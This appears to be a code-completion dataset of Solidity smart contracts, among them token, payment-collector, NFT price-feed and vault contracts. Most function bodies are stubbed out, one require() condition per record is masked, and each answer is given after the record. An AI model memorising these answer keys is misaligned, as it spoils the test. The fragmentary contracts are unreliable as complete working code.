// constructor(address _drsCoin) public {
// drsCoin = DRSCoinInterface(_drsCoin);
// }
// function mintDRSCoin(address _addr, uint256 _amount) public {
// drsCoin.mint(_addr, _amount);
// }
// }
| proposedGames[gameAddress]==0,"game already in proposed list" | 389,453 | proposedGames[gameAddress]==0 |
"game must in allow list or proposed list" | contract DRSCoin {
using SafeMath for uint256;
using TimeUtils for uint;
struct MonthInfo {
uint256 ethIncome;
uint256 totalTokenSupply;
}
string constant tokenName = "DRSCoin";
string constant tokenSymbol = "DRS";
uint8 constant decimalUnits = 18;
uint256 public constant tokenExchangeInitRate = 500; // 500 tokens per 1 ETH initial
uint256 public constant tokenExchangeLeastRate = 10; // 10 tokens per 1 ETH at least
uint256 public constant tokenReduceValue = 5000000;
uint256 public constant coinReduceRate = 90;
uint256 constant private proposingPeriod = 2 days;
// uint256 constant private proposingPeriod = 2 seconds;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply = 0;
uint256 public tokenReduceAmount;
uint256 public tokenExchangeRate; // DRSCoin / eth
uint256 public nextReduceSupply; // next DRSCoin reduction supply
address public owner;
mapping(address => bool) restrictedAddresses;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => uint32) public lastRefundMonth;
mapping(address => uint256) public refundEth; //record the user profit
mapping(uint32 => MonthInfo) monthInfos;
mapping(address => bool) allowedGameAddress;
mapping(address => uint256) proposedGames;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Mint(address indexed _to, uint256 _value);
// event Info(uint256 _value);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
event Profit(address indexed from, uint256 year, uint256 month, uint256 value);
event Withdraw(address indexed from, uint256 value);
modifier onlyOwner {
}
modifier onlyAllowedGameAddress {
}
/* Initializes contract with initial supply tokens to the creator of the contract */
constructor() public
{
}
// _startMonth included
// _nowMonth excluded
function settleEth(address _addr, uint32 _startMonth, uint32 _nowMonth) internal {
}
function getCurrentMonth() internal view returns(uint32) {
}
function transfer(address _to, uint256 _value) public returns(bool success) {
}
function approve(address _spender, uint256 _value) public returns(bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) public returns(bool success) {
}
function getUnpaidPerfit(uint32 _startMonth, uint32 _endMonth, uint256 _tokenAmount) internal view returns(uint256)
{
}
function totalSupply() constant public returns(uint256) {
}
function tokenExchangeRate() constant public returns(uint256) {
}
function nextReduceSupply() constant public returns(uint256) {
}
function balanceOf(address _owner) constant public returns(uint256) {
}
function allowance(address _owner, address _spender) constant public returns(uint256) {
}
function() public payable {
}
/* Owner can add new restricted address or removes one */
function editRestrictedAddress(address _newRestrictedAddress) public onlyOwner {
}
function isRestrictedAddress(address _querryAddress) constant public returns(bool) {
}
function getMintAmount(uint256 _eth) private view returns(uint256 _amount, uint256 _nextReduceSupply, uint256 _tokenExchangeRate) {
}
function mint(address _to, uint256 _eth) external onlyAllowedGameAddress {
}
function burn(uint256 _value) public returns(bool success) {
}
function addGame(address gameAddress) public onlyOwner {
}
function proposeGame(address gameAddress) public onlyOwner {
}
function deleteGame (address gameAddress) public onlyOwner {
require(<FILL_ME>)
// delete gameAddress from allowedGameAddress
allowedGameAddress[gameAddress] = false;
// delete gameAddress from proposedGames
proposedGames[gameAddress] = 0;
}
function gameCountdown(address gameAddress) public view returns(uint256) {
}
function profitEth() external payable onlyAllowedGameAddress {
}
function withdraw() public {
}
function getEthPerfit(address _addr) public view returns(uint256) {
}
}
// contract DRSCoinTestContract {
// DRSCoinInterface public drsCoin;
// constructor(address _drsCoin) public {
// drsCoin = DRSCoinInterface(_drsCoin);
// }
// function mintDRSCoin(address _addr, uint256 _amount) public {
// drsCoin.mint(_addr, _amount);
// }
// }
| allowedGameAddress[gameAddress]||proposedGames[gameAddress]>0,"game must in allow list or proposed list" | 389,453 | allowedGameAddress[gameAddress]||proposedGames[gameAddress]>0 |
"PaymentsCollector: Token Already Listed" | pragma solidity ^0.5.8;
import "./Ownable.sol";
import "./IERC20.sol";
import "./SafeERC20.sol";
// TODO - Safe ERC20: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/SafeERC20.sol
contract PaymentsCollector is Ownable {
address[] public tokens;
address withdrawer;
address payable acceptor;
event EthPayment(address indexed buyer, uint256 indexed amount, string orderId);
event TokenPayment(address indexed token, address indexed buyer, uint256 indexed amount, string orderId);
constructor(address payable _acceptor) public {
}
// PAYMENTS
function payEth(string memory _orderId) public payable {
}
function payToken(address _tokenAddr, uint256 _amount, string memory _orderId) public isWhitelisted(_tokenAddr) {
}
// WITHDRAWLS
function withdrawEth() public onlyWithdrawer() {
}
function withdrawToken(address _tokenAddr) public onlyWithdrawer() isWhitelisted(_tokenAddr) {
}
// ADMINISTRATION
function setWithdrawer(address _newWithdrawer) public onlyOwner() {
}
function setAcceptor(address payable _newAcceptor) public onlyOwner() {
}
function whitelist(address _tokenAddr) public onlyOwner() isNotWhitelisted(_tokenAddr) {
}
function delist(address _tokenAddr) public onlyOwner() {
}
// VIEWS
function numTokens() public view returns(uint256) {
}
// FALLBACK
function() external payable {
}
// MODIFIERS
modifier isNotWhitelisted(address _tokenAddr) {
for(uint i = 0; i < tokens.length; i++) {
require(<FILL_ME>)
}
_;
}
modifier isWhitelisted(address _tokenAddr) {
}
modifier onlyWithdrawer() {
}
}
| tokens[i]!=_tokenAddr,"PaymentsCollector: Token Already Listed" | 389,527 | tokens[i]!=_tokenAddr |
null | pragma solidity ^0.4.25;
contract AK_47_Token {
using SafeMath for uint;
struct Investor {
uint deposit;
uint paymentTime;
uint claim;
}
modifier onlyBagholders {
}
modifier onlyStronghands {
}
modifier antiEarlyWhale {
}
modifier onlyOwner() {
}
modifier startOK() {
}
modifier isOpened() {
require(<FILL_ME>)
_;
}
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
event OnWithdraw(address indexed addr, uint withdrawal, uint time);
string public name = "AK-47 Token";
string public symbol = "AK-47";
uint8 constant public decimals = 18;
uint8 constant internal exitFee_ = 10;
uint8 constant internal refferalFee_ = 25;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 10e18;
uint256 public maxEarlyStake = 5 ether;
uint256 public whaleBalanceLimit = 100 ether;
uint256 public startTime = 0;
bool public startCalled = false;
uint256 public openTime = 0;
bool public PortalOpen = false;
mapping (address => Investor) public investors;
mapping (address => uint256) internal tokenBalanceLedger_;
mapping (address => uint256) internal referralBalance_;
mapping (address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
uint256 public depositCount_;
uint public investmentsNumber;
uint public investorsNumber;
address public AdminAddress;
address public PromotionalAddress;
address public owner;
event OnNewInvestor(address indexed addr, uint time);
event OnInvesment(address indexed addr, uint deposit, uint time);
event OnDeleteInvestor(address indexed addr, uint time);
event OnClaim(address indexed addr, uint claim, uint time);
event theFaucetIsDry(uint time);
event balancesosmall(uint time);
constructor () public {
}
function setStartTime(uint256 _startTime) public {
}
function setOpenPortalTime(uint256 _openTime) public {
}
function setFeesAdress(uint n, address addr) public onlyOwner {
}
function buy(address referredBy) antiEarlyWhale startOK public payable returns (uint256) {
}
function purchaseFor(address _referredBy, address _customerAddress) antiEarlyWhale startOK public payable returns (uint256) {
}
function() external payable {
}
function reinvest() onlyStronghands public {
}
function exit() isOpened public {
}
function withdraw() onlyStronghands public {
}
function sell(uint256 _amountOfTokens) onlyBagholders isOpened public {
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
}
function transferInternal(address _toAddress, uint256 _amountOfTokens , address _fromAddress) internal returns (bool) {
}
function FaucetForInvestor(address investorAddr) public view returns(uint forClaim) {
}
function faucet() onlyBagholders public {
}
function getFaucet(address investorAddr) internal view returns(uint forClaim) {
}
function bytes2address(bytes memory source) internal pure returns(address addr) {
}
function totalEthereumBalance() public view returns (uint256) {
}
function totalSupply() public view returns (uint256) {
}
function myTokens() public view returns (uint256) {
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
}
function balanceOf(address _customerAddress) public view returns (uint256) {
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
}
function sellPrice() public view returns (uint256) {
}
function buyPrice() public view returns (uint256) {
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
}
function calculateUntaxedEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
}
function entryFee() public view returns (uint8){
}
function isStarted() public view returns (bool) {
}
function isPortalOpened() public view returns (bool) {
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy , address _customerAddress) internal returns (uint256) {
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
| isPortalOpened() | 389,532 | isPortalOpened() |
null | // Verified using https://dapp.tools
// hevm: flattened sources of src/nftfeed.sol
pragma solidity >=0.4.23 >=0.5.15 >=0.5.15 <0.6.0;
////// lib/tinlake-auth/lib/ds-note/src/note.sol
/// note.sol -- the `note' modifier, for logging calls as events
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
/* pragma solidity >=0.5.15; */
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint256 wad,
bytes fax
) anonymous;
modifier note {
}
}
////// lib/tinlake-auth/src/auth.sol
// Copyright (C) Centrifuge 2020, based on MakerDAO dss https://github.com/makerdao/dss
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
/* pragma solidity >=0.5.15 <0.6.0; */
/* import "ds-note/note.sol"; */
contract Auth is DSNote {
mapping (address => uint) public wards;
function rely(address usr) public auth note { }
function deny(address usr) public auth note { }
modifier auth { }
}
////// lib/tinlake-math/src/math.sol
// Copyright (C) 2018 Rain <[email protected]>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
/* pragma solidity >=0.5.15 <0.6.0; */
contract Math {
uint256 constant ONE = 10 ** 27;
function safeAdd(uint x, uint y) public pure returns (uint z) {
}
function safeSub(uint x, uint y) public pure returns (uint z) {
}
function safeMul(uint x, uint y) public pure returns (uint z) {
}
function safeDiv(uint x, uint y) public pure returns (uint z) {
}
function rmul(uint x, uint y) public pure returns (uint z) {
}
function rdiv(uint x, uint y) public pure returns (uint z) {
}
function rdivup(uint x, uint y) internal pure returns (uint z) {
}
}
////// src/nftfeed.sol
// Copyright (C) 2020 Centrifuge
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
/* pragma solidity >=0.5.15; */
/* import "ds-note/note.sol"; */
/* import "tinlake-auth/auth.sol"; */
/* import "tinlake-math/math.sol"; */
contract ShelfLike {
function shelf(uint loan) public view returns (address registry, uint tokenId);
function nftlookup(bytes32 nftID) public returns (uint loan);
}
contract PileLike {
function setRate(uint loan, uint rate) public;
function debt(uint loan) public returns (uint);
function pie(uint loan) public returns (uint);
function changeRate(uint loan, uint newRate) public;
function loanRates(uint loan) public returns (uint);
function file(bytes32, uint, uint) public;
function rates(uint rate) public view returns(uint, uint, uint ,uint48);
}
contract BaseNFTFeed is DSNote, Auth, Math {
// nftID => nftValues
mapping (bytes32 => uint) public nftValues;
// nftID => risk
mapping (bytes32 => uint) public risk;
// risk => thresholdRatio
mapping (uint => uint) public thresholdRatio;
// risk => ceilingRatio
mapping (uint => uint) public ceilingRatio;
// loan => borrowed
mapping (uint => uint) public borrowed;
PileLike pile;
ShelfLike shelf;
constructor () public {
}
function init() public {
require(<FILL_ME>)
// risk groups are pre-defined and should not change
// gas optimized initialization of risk groups
/*
11 => 1000000003488077118214104515
11.5 => 1000000003646626078132927447
12 => 1000000003805175038051750380
12.5 => 1000000003963723997970573313
13 => 1000000004122272957889396245
13.5 => 1000000004280821917808219178
14 => 1000000004439370877727042110
14.5 => 1000000004597919837645865043
15 => 1000000004756468797564687975
*/
// 11 %
setRiskGroup(0, ONE, 95*10**25, uint(1000000003488077118214104515));
// 11. 5 %
setRiskGroup(1, ONE, 95*10**25, uint(1000000003646626078132927447));
// 12 %
setRiskGroup(2, ONE, 95*10**25, uint(1000000003805175038051750380));
// 12.5 %
setRiskGroup(3, ONE, 95*10**25, uint(1000000003963723997970573313));
// 13 %
setRiskGroup(4, ONE, 95*10**25, uint(1000000004122272957889396245));
// 13.5 %
setRiskGroup(5, ONE, 95*10**25, uint(1000000004280821917808219178));
// 14 %
setRiskGroup(6, ONE, 95*10**25, uint(1000000004439370877727042110));
// 14.5 %
setRiskGroup(7, ONE, 95*10**25, uint(1000000004597919837645865043));
// 15 %
setRiskGroup(8, ONE, 95*10**25, uint(1000000004756468797564687975));
}
/// sets the dependency to another contract
function depend(bytes32 contractName, address addr) external auth {
}
/// returns a unique id based on registry and tokenId
/// the nftID allows to define a risk group and an nft value
/// before a loan is issued
function nftID(address registry, uint tokenId) public pure returns (bytes32) {
}
function nftID(uint loan) public view returns (bytes32) {
}
/// Admin -- Updates
function setRiskGroup(uint risk_, uint thresholdRatio_, uint ceilingRatio_, uint rate_) internal {
}
/// -- Oracle Updates --
/// update the nft value
function update(bytes32 nftID_, uint value) public auth {
}
/// update the nft value and change the risk group
function update(bytes32 nftID_, uint value, uint risk_) public auth {
}
// method is called by the pile to check the ceiling
function borrow(uint loan, uint amount) external auth {
}
// method is called by the pile to check the ceiling
function repay(uint loan, uint amount) external auth {}
// borrowEvent is called by the shelf in the borrow method
function borrowEvent(uint loan) public auth {
}
// unlockEvent is called by the shelf.unlock method
function unlockEvent(uint loan) public auth {}
/// -- Getter methods --
/// returns the ceiling of a loan
/// the ceiling defines the maximum amount which can be borrowed
function ceiling(uint loan) public view returns (uint) {
}
function initialCeiling(uint loan) public view returns(uint) {
}
/// returns the threshold of a loan
/// if the loan debt is above the loan threshold the NFT can be seized
function threshold(uint loan) public view returns (uint) {
}
}
| thresholdRatio[0]==0 | 389,626 | thresholdRatio[0]==0 |
"threshold for risk group not defined" | // Verified using https://dapp.tools
// hevm: flattened sources of src/nftfeed.sol
pragma solidity >=0.4.23 >=0.5.15 >=0.5.15 <0.6.0;
////// lib/tinlake-auth/lib/ds-note/src/note.sol
/// note.sol -- the `note' modifier, for logging calls as events
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
/* pragma solidity >=0.5.15; */
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint256 wad,
bytes fax
) anonymous;
modifier note {
}
}
////// lib/tinlake-auth/src/auth.sol
// Copyright (C) Centrifuge 2020, based on MakerDAO dss https://github.com/makerdao/dss
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
/* pragma solidity >=0.5.15 <0.6.0; */
/* import "ds-note/note.sol"; */
contract Auth is DSNote {
mapping (address => uint) public wards;
function rely(address usr) public auth note { }
function deny(address usr) public auth note { }
modifier auth { }
}
////// lib/tinlake-math/src/math.sol
// Copyright (C) 2018 Rain <[email protected]>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
/* pragma solidity >=0.5.15 <0.6.0; */
contract Math {
uint256 constant ONE = 10 ** 27;
function safeAdd(uint x, uint y) public pure returns (uint z) {
}
function safeSub(uint x, uint y) public pure returns (uint z) {
}
function safeMul(uint x, uint y) public pure returns (uint z) {
}
function safeDiv(uint x, uint y) public pure returns (uint z) {
}
function rmul(uint x, uint y) public pure returns (uint z) {
}
function rdiv(uint x, uint y) public pure returns (uint z) {
}
function rdivup(uint x, uint y) internal pure returns (uint z) {
}
}
////// src/nftfeed.sol
// Copyright (C) 2020 Centrifuge
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
/* pragma solidity >=0.5.15; */
/* import "ds-note/note.sol"; */
/* import "tinlake-auth/auth.sol"; */
/* import "tinlake-math/math.sol"; */
contract ShelfLike {
function shelf(uint loan) public view returns (address registry, uint tokenId);
function nftlookup(bytes32 nftID) public returns (uint loan);
}
contract PileLike {
function setRate(uint loan, uint rate) public;
function debt(uint loan) public returns (uint);
function pie(uint loan) public returns (uint);
function changeRate(uint loan, uint newRate) public;
function loanRates(uint loan) public returns (uint);
function file(bytes32, uint, uint) public;
function rates(uint rate) public view returns(uint, uint, uint ,uint48);
}
contract BaseNFTFeed is DSNote, Auth, Math {
// nftID => nftValues
mapping (bytes32 => uint) public nftValues;
// nftID => risk
mapping (bytes32 => uint) public risk;
// risk => thresholdRatio
mapping (uint => uint) public thresholdRatio;
// risk => ceilingRatio
mapping (uint => uint) public ceilingRatio;
// loan => borrowed
mapping (uint => uint) public borrowed;
PileLike pile;
ShelfLike shelf;
constructor () public {
}
function init() public {
}
/// sets the dependency to another contract
function depend(bytes32 contractName, address addr) external auth {
}
/// returns a unique id based on registry and tokenId
/// the nftID allows to define a risk group and an nft value
/// before a loan is issued
function nftID(address registry, uint tokenId) public pure returns (bytes32) {
}
function nftID(uint loan) public view returns (bytes32) {
}
/// Admin -- Updates
function setRiskGroup(uint risk_, uint thresholdRatio_, uint ceilingRatio_, uint rate_) internal {
}
/// -- Oracle Updates --
/// update the nft value
function update(bytes32 nftID_, uint value) public auth {
}
/// update the nft value and change the risk group
function update(bytes32 nftID_, uint value, uint risk_) public auth {
require(<FILL_ME>)
// change to new rate immediately in pile if a loan debt exists
// if pie is equal to 0 (no loan debt exists) the rate is set
// in the borrowEvent method to keep the frequently called update method gas efficient
uint loan = shelf.nftlookup(nftID_);
if (pile.pie(loan) != 0) {
pile.changeRate(loan, risk_);
}
risk[nftID_] = risk_;
nftValues[nftID_] = value;
}
// method is called by the pile to check the ceiling
function borrow(uint loan, uint amount) external auth {
}
// method is called by the pile to check the ceiling
function repay(uint loan, uint amount) external auth {}
// borrowEvent is called by the shelf in the borrow method
function borrowEvent(uint loan) public auth {
}
// unlockEvent is called by the shelf.unlock method
function unlockEvent(uint loan) public auth {}
/// -- Getter methods --
/// returns the ceiling of a loan
/// the ceiling defines the maximum amount which can be borrowed
function ceiling(uint loan) public view returns (uint) {
}
function initialCeiling(uint loan) public view returns(uint) {
}
/// returns the threshold of a loan
/// if the loan debt is above the loan threshold the NFT can be seized
function threshold(uint loan) public view returns (uint) {
}
}
| thresholdRatio[risk_]!=0,"threshold for risk group not defined" | 389,626 | thresholdRatio[risk_]!=0 |
"borrow-amount-too-high" | // Verified using https://dapp.tools
// hevm: flattened sources of src/nftfeed.sol
pragma solidity >=0.4.23 >=0.5.15 >=0.5.15 <0.6.0;
////// lib/tinlake-auth/lib/ds-note/src/note.sol
/// note.sol -- the `note' modifier, for logging calls as events
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
/* pragma solidity >=0.5.15; */
contract DSNote {
event LogNote(
bytes4 indexed sig,
address indexed guy,
bytes32 indexed foo,
bytes32 indexed bar,
uint256 wad,
bytes fax
) anonymous;
modifier note {
}
}
////// lib/tinlake-auth/src/auth.sol
// Copyright (C) Centrifuge 2020, based on MakerDAO dss https://github.com/makerdao/dss
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
/* pragma solidity >=0.5.15 <0.6.0; */
/* import "ds-note/note.sol"; */
contract Auth is DSNote {
mapping (address => uint) public wards;
function rely(address usr) public auth note { }
function deny(address usr) public auth note { }
modifier auth { }
}
////// lib/tinlake-math/src/math.sol
// Copyright (C) 2018 Rain <[email protected]>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
/* pragma solidity >=0.5.15 <0.6.0; */
contract Math {
uint256 constant ONE = 10 ** 27;
function safeAdd(uint x, uint y) public pure returns (uint z) {
}
function safeSub(uint x, uint y) public pure returns (uint z) {
}
function safeMul(uint x, uint y) public pure returns (uint z) {
}
function safeDiv(uint x, uint y) public pure returns (uint z) {
}
function rmul(uint x, uint y) public pure returns (uint z) {
}
function rdiv(uint x, uint y) public pure returns (uint z) {
}
function rdivup(uint x, uint y) internal pure returns (uint z) {
}
}
////// src/nftfeed.sol
// Copyright (C) 2020 Centrifuge
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
/* pragma solidity >=0.5.15; */
/* import "ds-note/note.sol"; */
/* import "tinlake-auth/auth.sol"; */
/* import "tinlake-math/math.sol"; */
contract ShelfLike {
function shelf(uint loan) public view returns (address registry, uint tokenId);
function nftlookup(bytes32 nftID) public returns (uint loan);
}
contract PileLike {
function setRate(uint loan, uint rate) public;
function debt(uint loan) public returns (uint);
function pie(uint loan) public returns (uint);
function changeRate(uint loan, uint newRate) public;
function loanRates(uint loan) public returns (uint);
function file(bytes32, uint, uint) public;
function rates(uint rate) public view returns(uint, uint, uint ,uint48);
}
contract BaseNFTFeed is DSNote, Auth, Math {
// nftID => nftValues
mapping (bytes32 => uint) public nftValues;
// nftID => risk
mapping (bytes32 => uint) public risk;
// risk => thresholdRatio
mapping (uint => uint) public thresholdRatio;
// risk => ceilingRatio
mapping (uint => uint) public ceilingRatio;
// loan => borrowed
mapping (uint => uint) public borrowed;
PileLike pile;
ShelfLike shelf;
constructor () public {
}
function init() public {
}
/// sets the dependency to another contract
function depend(bytes32 contractName, address addr) external auth {
}
/// returns a unique id based on registry and tokenId
/// the nftID allows to define a risk group and an nft value
/// before a loan is issued
function nftID(address registry, uint tokenId) public pure returns (bytes32) {
}
function nftID(uint loan) public view returns (bytes32) {
}
/// Admin -- Updates
function setRiskGroup(uint risk_, uint thresholdRatio_, uint ceilingRatio_, uint rate_) internal {
}
/// -- Oracle Updates --
/// update the nft value
function update(bytes32 nftID_, uint value) public auth {
}
/// update the nft value and change the risk group
function update(bytes32 nftID_, uint value, uint risk_) public auth {
}
// method is called by the pile to check the ceiling
function borrow(uint loan, uint amount) external auth {
// ceiling check uses existing loan debt
borrowed[loan] = safeAdd(borrowed[loan], amount);
require(<FILL_ME>)
}
// method is called by the pile to check the ceiling
function repay(uint loan, uint amount) external auth {}
// borrowEvent is called by the shelf in the borrow method
function borrowEvent(uint loan) public auth {
}
// unlockEvent is called by the shelf.unlock method
function unlockEvent(uint loan) public auth {}
/// -- Getter methods --
/// returns the ceiling of a loan
/// the ceiling defines the maximum amount which can be borrowed
function ceiling(uint loan) public view returns (uint) {
}
function initialCeiling(uint loan) public view returns(uint) {
}
/// returns the threshold of a loan
/// if the loan debt is above the loan threshold the NFT can be seized
function threshold(uint loan) public view returns (uint) {
}
}
| initialCeiling(loan)>=borrowed[loan],"borrow-amount-too-high" | 389,626 | initialCeiling(loan)>=borrowed[loan] |
"!vault" | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/EnumerableSet.sol";
import "../interfaces/IVault.sol";
import "../libraries/ERC20Extends.sol";
import "../libraries/UniV3PMExtends.sol";
import "../storage/SmartPoolStorage.sol";
import "./UniV3Liquidity.sol";
pragma abicoder v2;
/// @title Position Management
/// @notice Provide asset operation functions, allow authorized identities to perform asset operations, and achieve the purpose of increasing the net value of the Vault
contract AutoLiquidity is UniV3Liquidity {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableSet for EnumerableSet.AddressSet;
using UniV3SwapExtends for mapping(address => mapping(address => bytes));
//Vault purchase and redemption token
IERC20 public ioToken;
//Vault contract address
IVault public vault;
//Underlying asset
EnumerableSet.AddressSet internal underlyings;
event TakeFee(SmartPoolStorage.FeeType ft, address owner, uint256 fee);
/// @notice Binding vaults and subscription redemption token
/// @dev Only bind once and cannot be modified
/// @param _vault Vault address
/// @param _ioToken Subscription and redemption token
function bind(address _vault, address _ioToken) external onlyGovernance {
}
//Only allow vault contract access
modifier onlyVault() {
require(<FILL_ME>)
_;
}
/// @notice ext authorize
function extAuthorize() internal override view returns (bool){
}
/// @notice in work tokenId array
/// @dev read in works NFT array
/// @return tokenIds NFT array
